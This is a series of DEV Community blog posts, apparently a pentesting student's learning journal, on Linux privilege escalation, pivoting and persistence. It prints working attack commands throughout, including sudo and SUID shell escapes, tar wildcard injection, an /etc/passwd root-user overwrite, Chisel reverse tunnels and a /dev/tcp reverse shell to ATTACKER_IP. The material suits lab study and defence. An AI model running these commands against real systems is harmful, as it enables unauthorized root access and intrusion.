DEV Community: Devon Argent

Day 31: Speed vs. Complexity — The Pentester's Hierarchy of Exploitation 🕵️‍♂️

Devon Argent — Wed, 25 Mar 2026 17:51:02 +0000

🎯 The "Fast Decision" Priority List

When you land on a Linux box, your brain should automatically categorize vulnerabilities by their Time-to-Root (TTR).

1. The Instant Win: Sudo NOPASSWD

If sudo -l shows binaries with NOPASSWD, this is your top priority.

The "Pager" Escape: sudo less /etc/hosts -> type !/bin/bash
The "Editor" Escape: sudo vim -c ':!/bin/sh'
Why? No waiting for cron jobs, no uploading files, no risk of crashing the service. Instant shell.

2. The Semi-Instant Win: Writable Scripts

If a root-owned script is world-writable (777):

The Exploit: Append a SUID creator: echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/cleanup.sh
Wait Time: Usually 1-5 minutes (Cron) or until a user/service triggers it.

3. The "Manual" Win: Wildcard Injection

This is your last resort if no simple paths exist.

The Vulnerability: tar -czf backup.tar.gz * in a writable folder.
The Complexity: Requires creating multiple "flag" files (--checkpoint) and a payload script.
The Risk: High chance of typos and more "noise" in the system logs.

Follow my journey: #1HourADayJourney

Day 30: Wildcard Injection & Cron Jobs — The Automation Trap 🕵️‍♂️

Devon Argent — Tue, 24 Mar 2026 17:18:52 +0000

🛠️ The "Automation-to-Root" Pipeline

1. Writable Cron Script (The Group Privilege Trap)

Sometimes a script isn't world-writable, but it is writable by a Group you belong to.

The Scenario: A root cron job runs /usr/local/bin/backup.sh. The script is owned by root:dev with 774 permissions.
The Exploit: If you are in the dev group, you can append a payload to create a SUID bash: echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /usr/local/bin/backup.sh
The Result: Within a minute, /tmp/rootbash -p gives you a root shell.

2. Wildcard Injection (The "tar" Trick)

This is a classic OSCP-style exploit. If a root cron job runs:
tar -czf /tmp/backup.tar.gz /var/www/html/*
And /var/www/html/ is world-writable, the * expands to include every filename in that folder as a command-line argument.

The Injection: I created files that tar interprets as options:
1. touch /var/www/html/--checkpoint=1
2. touch /var/www/html/--checkpoint-action=exec=sh\ exploit.sh
The Mechanism: When tar runs, it sees --checkpoint=1 as a flag, not a filename, and executes exploit.sh as root.

🕵️‍♂️ The "Wildcard Hunt" Checklist

When auditing a new machine, I now specifically look for:

Cron Jobs: Any command in /etc/crontab that uses a *.
Utilities: tar, rsync, and 7z are high-priority targets for argument injection.
Shared Folders: /var/www/html, /tmp, and /opt are common places where wildcards and world-writable permissions meet.

Follow my journey: #1HourADayJourney

Day 29: Writable File Exploitation — Turning "Bad Permissions" into Root Shells 🕵️‍♂️

Devon Argent — Mon, 23 Mar 2026 16:35:25 +0000

🛠️ The "Writable-to-Root" Pipeline

1. The Systemd Service Hijack

I audited a custom service file in /etc/systemd/system/app.service.

The Flaw: The ExecStart pointed to /opt/app.py, which was world-writable (-rwxrwxrwx).
The Exploit: echo 'import os; os.system("/bin/bash")' > /opt/app.py
The Trigger: systemctl restart app. Since the service manager (systemd) runs as root, my injected bash shell spawned with full root privileges.

2. The Cron Job Injection

Automation is an attacker's best friend. I checked /etc/crontab and found a cleanup script running every minute.

The Exploit: Appending a reverse shell one-liner: echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/cleanup.sh
The Result: Within 60 seconds, the system automatically pushed a root shell to my listener.

3. Overwriting `/etc/passwd` (The Nuclear Option)

In rare, critical misconfigurations where /etc/passwd is world-writable:

The Exploit: Create a new user hash: openssl passwd -1 mypassword.
The Injection: Append hacker:$hash:0:0:root:/root:/bin/bash to the file.
The Result: su hacker provides an immediate root session without needing the actual root password.

🕵️‍♂️ The Auditor's "Writable Search" Checklist

My first move upon landing on a box is now running this "Gold Mine" command:

find / -writable -type f 2>/dev/null | grep -v "/proc"

I specifically look for files in:

/opt/ (Custom applications)
/usr/local/bin/ (Custom scripts)
/etc/systemd/system/ (Service configs)
/etc/cron* (Scheduled tasks)

Follow my journey: #1HourADayJourney

Day 28: Advanced Pivoting — Reverse Tunnels and The 127.0.0.1 Gateway 🕵️‍♂️

Devon Argent — Sun, 22 Mar 2026 16:55:00 +0000

🛠️ Mastering the "Reverse" Pivot (Chisel)

In many modern security setups, you cannot SSH into a server because the firewall blocks all Inbound traffic. However, most servers are allowed to "call home" (Outbound).

1. The Chisel Reverse Setup

When the attacker is blocked, we make the target connect to us.

Attacker (Server): ./chisel server -p 9000 --reverse
Target (Client): ./chisel client ATTACKER_IP:9000 R:2222:127.0.0.1:22
The Result: On my attacker machine, port 2222 now points directly to the target's SSH service.
Accessing it: ssh user@127.0.0.1 -p 2222

🔓 The Localhost Gateway Rule

One of the biggest hurdles in pivoting is understanding where to "point" your tools. I solidified the Localhost Rule today:

The Tunnel: ssh -L 8080:internal-web:80 user@pivot
The Connection: You never connect to the internal-web IP directly. You connect to your own machine: http://127.0.0.1:8080.
Why? Because your local port is the "mouth" of the tunnel that carries your traffic to the other side.

🕵️‍♂️ Advanced Networking Decision Tree

My workflow for choosing a pivot technique:

Inbound SSH Allowed? Use ssh -D 1080 (Dynamic) for scanning or ssh -L for specific ports.
Inbound Blocked / Outbound Allowed? Use Chisel Reverse or ssh -R.
Internal Target Isolated? Pivot through the nearest compromised neighbor.

Follow my journey: #1HourADayJourney

Day 27: Lateral Movement Strategy — Why Credentials Trump Pivoting 🕵️‍♂️

Devon Argent — Sat, 21 Mar 2026 18:02:12 +0000

🛠️ The "Script-to-Root" Pipeline

I started the day by exploiting a common misconfiguration: A Python backup script owned by root but world-writable (777).

The Vulnerability: sudo -l revealed the user could run /usr/bin/python3 /opt/backup.py with no password.
The Exploit: echo 'import os; os.system("/bin/bash")' > /opt/backup.py.
The Result: Executing the sudo command spawned a root shell.

🔓 Lateral Movement: The Hierarchy of Access

Once I achieved root, the focus shifted to the internal network (192.168.1.0/24). I had to choose between accessing a Database (3306) or an SSH target (22).

1. Credential Prioritization

I found database credentials in a config file: appuser:AppPass123.

Common Mistake: Trying to use these for SSH.
Correct Move: Use them for the Database to harvest more user info, then look for system-level passwords for SSH.

2. To Pivot or Not to Pivot?

Many beginners jump straight to chisel or ssh -D. I learned to ask three questions first:

Do I have a username/password? -> Try direct SSH.
Do I have an SSH Key? -> Use it immediately.
Is the port reachable? -> If YES, connect directly. If NO, then pivot.

Follow my journey: #1HourADayJourney

Day 26: The Pentester's Playbook — Strategy, Keys, and Smart Pivoting 🕵️‍♂️

Devon Argent — Fri, 20 Mar 2026 17:00:04 +0000

🎯 The "Path of Least Resistance" Workflow

When you compromise a "Jump Box" (a server with access to the internal LAN), you are faced with multiple choices. Here is how I learned to prioritize them:

1. The "Golden Ticket": SSH Private Keys

If you find an id_rsa file in a user's .ssh directory, this is your Priority #1.

The Logic: It allows for an instant, passwordless connection to other internal servers.
The Rule: Always check the directory name to identify the user (e.g., /home/admin/.ssh belongs to the admin user).
Command: ssh -i id_rsa admin@internal-target-ip

2. Credential Logic: Stop Mixing Your Assets

One of the most common mistakes is trying to use Database credentials for SSH logins.

Database Credentials: Found in config.php or settings.py. Use them for mysql or psql to dump sensitive data.
System Credentials: Found in history or shadow files. Use them for ssh, sudo, or su.

🛠️ Strategic Pivoting: When to Use What?

I refined my use of SSH tunneling based on the specific mission:

Technique	Command	Best Use Case
Dynamic Forwarding (-D)	`ssh -D 1080 user@pivot`	Broad Search: Scanning the entire internal subnet with `proxychains nmap`.
Local Forwarding (-L)	`ssh -L 3306:internal-db:3306`	Surgical Strike: Connecting a local DB GUI (like DBeaver) to a specific internal database.

🕵️‍♂️ The Internal "Radar"

Before jumping into complex tunnels, I used "Living off the Land" techniques to spot targets:

ip a: Discover hidden network segments (10.x, 172.x, or 192.x).
netstat -tulnp: Identify which internal ports are listening on the target.
arp -a: See a list of other active hosts the compromised machine has recently talked to.

Follow my journey: #1HourADayJourney

Day 25: Network Pivoting — Breaking Into the Internal LAN 🕵️‍♂️

Devon Argent — Thu, 19 Mar 2026 17:05:53 +0000

🛠️ The Art of the Pivot

Pivoting is the process of using a compromised system to attack other systems on the same internal network. If the Web Server has two network interfaces (Internet and LAN), it becomes our bridge.

1. SSH Dynamic Port Forwarding (The All-Rounder)

By using ssh -D 1080 user@target, I created a SOCKS proxy. Combined with Proxychains, I can now run any tool as if my computer is physically plugged into the internal network.

Command: proxychains nmap -sT -Pn 192.168.1.10

2. Local Port Forwarding (The Specialist)

When I only need access to a specific internal service, like a database:

Command: ssh -L 3306:192.168.1.10:3306 user@jump-box
Result: I can now connect to the internal database by simply pointing my client to 127.0.0.1:3306.

3. Chisel: The Advanced Tunnel

In modern environments where SSH might be restricted or monitored, Chisel is a lifesaver. It creates an HTTP-based tunnel that can carry SOCKS traffic.

Attacker Side: chisel server -p 8000 --reverse
Target Side: chisel client ATTACKER_IP:8000 R:1080:socks

🕵️‍♂️ Internal Enumeration Checklist

Once you land on the first box, look for:

Interfaces: ip a (Look for 10.x.x.x or 172.x.x.x networks).
ARP Cache: arp -a (See who else this machine talks to).
Active Connections: netstat -tulnp (Find internal-only services).

Follow my journey: #1HourADayJourney

Day 24: Post-Exploitation Mastery — What Happens After Root? 🕵️‍♂️

Devon Argent — Wed, 18 Mar 2026 16:30:50 +0000

🛠️ The Post-Exploitation Checklist

In a real-world engagement, getting a root shell is temporary. The system might reboot, or the admin might kill your process. You need Persistence.

1. Maintaining Access (Persistence)

The SSH Backdoor: Adding an attacker's public key to /root/.ssh/authorized_keys allows for passwordless, permanent remote access.
The Cron Persistence: Scheduling a hidden task to send a reverse shell every minute ensures that even if you lose your connection, the system "calls" you back automatically.

2. Credential Harvesting & Shadow Cracking

Once you have root, you own the identity store.

The Shadow File: Accessing /etc/shadow allows an attacker to dump password hashes for offline cracking using tools like John the Ripper or Hashcat.
The History Leak: Always check ~/.bash_history. Users often accidentally type passwords directly into the command line (e.g., mysql -u root -p'password123').

3. Lateral Movement (Pivoting)

Root on one machine is often the key to the next.

SSH Key Hunting: Searching for id_rsa files. These private keys are often used to automate logins between servers. If you find a key on the web server, it might grant you access to the database or backup server without a single exploit.
Credential Reuse: Using harvested passwords to try and log into other machines on the same network.

🕵️‍♂️ Advanced Concept: Process Hijacking

I analyzed a scenario where a root-owned service runs a script in a world-writable directory (e.g., /opt/app.py with 777 permissions).

The Attack: Overwrite the script with a payload.
The Result: The system continues to execute your malicious code with root privileges in a continuous loop. It’s stealthy and highly effective.

Follow my journey: #1HourADayJourney

Day 23: Python Import Hijacking & The Writable Directory Trap 🕵️‍♂️

Devon Argent — Tue, 17 Mar 2026 17:16:30 +0000

🛠️ Advanced Escalation Vectors

1. Python Import Hijacking

Python looks for modules in a specific order, starting with the current directory. If a root-owned script imports a module like random or os, and I can write to the directory where that script is executed:

The Exploit: Create a file named random.py containing a malicious payload (e.g., import os; os.system("/bin/bash")).
The Result: When the root script runs import random, it loads my malicious file instead of the system library. Instant Root.

2. The Writable Directory Vulnerability

I learned a critical lesson today: Directory permissions trump file permissions.
Even if a script like /opt/backup.py is owned by root and is read-only, if the /opt folder is world-writable (777), an attacker can simply:

rm /opt/backup.py (Delete the original)
echo "payload" > /opt/backup.py (Create a new malicious version)
Wait for the root process to execute it.

🕵️‍♂️ Refined Pentester Workflow

My initial enumeration now includes a deep-dive into environment context:

Check PYTHONPATH: Are there custom paths where I can drop malicious modules?
Audit Parent Folders: Not just the script, but every folder in its path.
Analyze Imports: What libraries does the root-level script rely on?

Follow my journey: #1HourADayJourney

Day 22: Exploiting systemd & Writable Files — The "Silent" Path to Root 🕵️‍♂️

Devon Argent — Mon, 16 Mar 2026 16:52:22 +0000

🛠️ The "Silent" Escalation Vectors

1. systemd Service Exploitation

Modern Linux distributions use systemd to manage background services. These services often call external scripts.

The Vulnerability: If a service file (e.g., in /etc/systemd/system/) has an ExecStart pointing to a script like /opt/backup.sh which has 777 permissions (world-writable).
The Exploit: Simply append a reverse shell or a bash spawn command: echo "/bin/bash" >> /opt/backup.sh. When the service restarts or triggers, it executes your code as root.

2. Writable File Abuse

This is a "low-hanging fruit" technique that is often overlooked. It involves searching for files that can be modified by any user but are executed by high-privileged accounts.

Enumeration Command: find / -writable -type f 2>/dev/null
The Logic: Focus on automation scripts, log rotation tools, or cleanup tasks. By injecting a payload into these files, you leverage a legitimate system function to escalate your privileges.

🕵️‍♂️ Professional Enumeration Workflow

After gaining initial access, my security audit checklist now includes:

Audit Services: Inspecting /etc/systemd/system/ for custom services.
Scan Writable Files: Checking /opt, /usr/local/bin, and custom /scripts directories for loose permissions.
Analyze Service Logic: Looking for services that run automatically on boot or via timers (Systemd Timers).

Follow my journey: #1HourADayJourney

Day 21: PATH Hijacking & Cron Exploitation — The Automation Trap 🕵️‍♂️

Devon Argent — Sun, 15 Mar 2026 17:15:08 +0000

🛠️ The "Invisible" Attack Vectors

1. PATH Hijacking: The Power of Order

Linux finds programs by looking through directories in the $PATH variable. If a root script calls tar instead of /bin/tar, it will execute the first tar it finds.

The Exploit: Place a malicious script named tar in a directory like /tmp, then add /tmp to the start of the PATH: export PATH=/tmp:$PATH.
The Result: The root script runs your "fake" tar, giving you a root shell.

2. Cron Job Exploitation

Cron is the Linux scheduler. If a script in /etc/crontab is world-writable (-rwxrwxrwx), you've already won.

The Injection: echo "/bin/bash" >> /usr/local/bin/backup.sh
The Payload: Wait 1 minute for the cron to run, and your command executes as root.

3. Wildcard Injection in Cron

If a cron job uses a wildcard like tar -czf backup.tar.gz /home/user/*, you can create files that look like command arguments (e.g., --checkpoint=1) to trick the program into executing code.

Follow my journey: #1HourADayJourney

Day 20: SUID Deep-Dive — From Zip to Tar Exploitation 🕵️‍♂️

Devon Argent — Sat, 14 Mar 2026 17:45:11 +0000

🛠️ The Mechanics: RUID vs. EUID

When you execute a SUID binary, two things happen:

Real UID (RUID): Stays as your normal user (e.g., 1001). This is who you actually are.
Effective UID (EUID): Switches to the file owner (e.g., 0/Root). This is the power the system checks when you try to read /etc/shadow.

Understanding this gap is key to knowing why a spawned shell from an SUID process becomes a Root Shell.

🔓 Beyond the Basics: Exploiting Complex Binaries

We often talk about find or vim, but today I audited tools that aren't obviously dangerous:

1. The `zip` Escape

The zip utility has a test feature (-T) that allows you to specify a command to use for unzipping.
The Exploit:
zip exploit.zip /etc/hosts -T --unzip-command="sh -c /bin/sh"

2. The `tar` Checkpoint

tar can execute commands at specific "checkpoints" during the archiving process.
The Exploit:
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

🕵️‍♂️ The Researcher's Workflow

When I encounter a binary that isn't on a standard cheat sheet, I use this workflow:

strings <binary>: Look for calls to system, exec, or sh.
man <binary>: Search for terms like "command", "program", or "shell".
Check for interactive modes that might allow shell escapes (e.g., !sh).

Follow my journey: #1HourADayJourney

DEV Community: Devon Argent

Day 31: Speed vs. Complexity — The Pentester's Hierarchy of Exploitation 🕵️‍♂️

🎯 The "Fast Decision" Priority List

1. The Instant Win: Sudo NOPASSWD

2. The Semi-Instant Win: Writable Scripts

3. The "Manual" Win: Wildcard Injection

Day 30: Wildcard Injection & Cron Jobs — The Automation Trap 🕵️‍♂️

🛠️ The "Automation-to-Root" Pipeline

1. Writable Cron Script (The Group Privilege Trap)

2. Wildcard Injection (The "tar" Trick)

🕵️‍♂️ The "Wildcard Hunt" Checklist

Day 29: Writable File Exploitation — Turning "Bad Permissions" into Root Shells 🕵️‍♂️

🛠️ The "Writable-to-Root" Pipeline

1. The Systemd Service Hijack

2. The Cron Job Injection

3. Overwriting /etc/passwd (The Nuclear Option)

🕵️‍♂️ The Auditor's "Writable Search" Checklist

I specifically look for files in:

Day 28: Advanced Pivoting — Reverse Tunnels and The 127.0.0.1 Gateway 🕵️‍♂️

🛠️ Mastering the "Reverse" Pivot (Chisel)

1. The Chisel Reverse Setup

🔓 The Localhost Gateway Rule

🕵️‍♂️ Advanced Networking Decision Tree

Day 27: Lateral Movement Strategy — Why Credentials Trump Pivoting 🕵️‍♂️

🛠️ The "Script-to-Root" Pipeline

🔓 Lateral Movement: The Hierarchy of Access

1. Credential Prioritization

2. To Pivot or Not to Pivot?

Day 26: The Pentester's Playbook — Strategy, Keys, and Smart Pivoting 🕵️‍♂️

🎯 The "Path of Least Resistance" Workflow

1. The "Golden Ticket": SSH Private Keys

2. Credential Logic: Stop Mixing Your Assets

🛠️ Strategic Pivoting: When to Use What?

🕵️‍♂️ The Internal "Radar"

Day 25: Network Pivoting — Breaking Into the Internal LAN 🕵️‍♂️

🛠️ The Art of the Pivot

1. SSH Dynamic Port Forwarding (The All-Rounder)

2. Local Port Forwarding (The Specialist)

3. Chisel: The Advanced Tunnel

🕵️‍♂️ Internal Enumeration Checklist

Day 24: Post-Exploitation Mastery — What Happens After Root? 🕵️‍♂️

🛠️ The Post-Exploitation Checklist

1. Maintaining Access (Persistence)

2. Credential Harvesting & Shadow Cracking

3. Lateral Movement (Pivoting)

🕵️‍♂️ Advanced Concept: Process Hijacking

Day 23: Python Import Hijacking & The Writable Directory Trap 🕵️‍♂️

🛠️ Advanced Escalation Vectors

1. Python Import Hijacking

2. The Writable Directory Vulnerability

🕵️‍♂️ Refined Pentester Workflow

Day 22: Exploiting systemd & Writable Files — The "Silent" Path to Root 🕵️‍♂️

🛠️ The "Silent" Escalation Vectors

1. systemd Service Exploitation

2. Writable File Abuse

🕵️‍♂️ Professional Enumeration Workflow

Day 21: PATH Hijacking & Cron Exploitation — The Automation Trap 🕵️‍♂️

🛠️ The "Invisible" Attack Vectors

1. PATH Hijacking: The Power of Order

2. Cron Job Exploitation

3. Wildcard Injection in Cron

Day 20: SUID Deep-Dive — From Zip to Tar Exploitation 🕵️‍♂️

🛠️ The Mechanics: RUID vs. EUID

🔓 Beyond the Basics: Exploiting Complex Binaries

1. The zip Escape

2. The tar Checkpoint

🕵️‍♂️ The Researcher's Workflow

3. Overwriting `/etc/passwd` (The Nuclear Option)

1. The `zip` Escape

2. The `tar` Checkpoint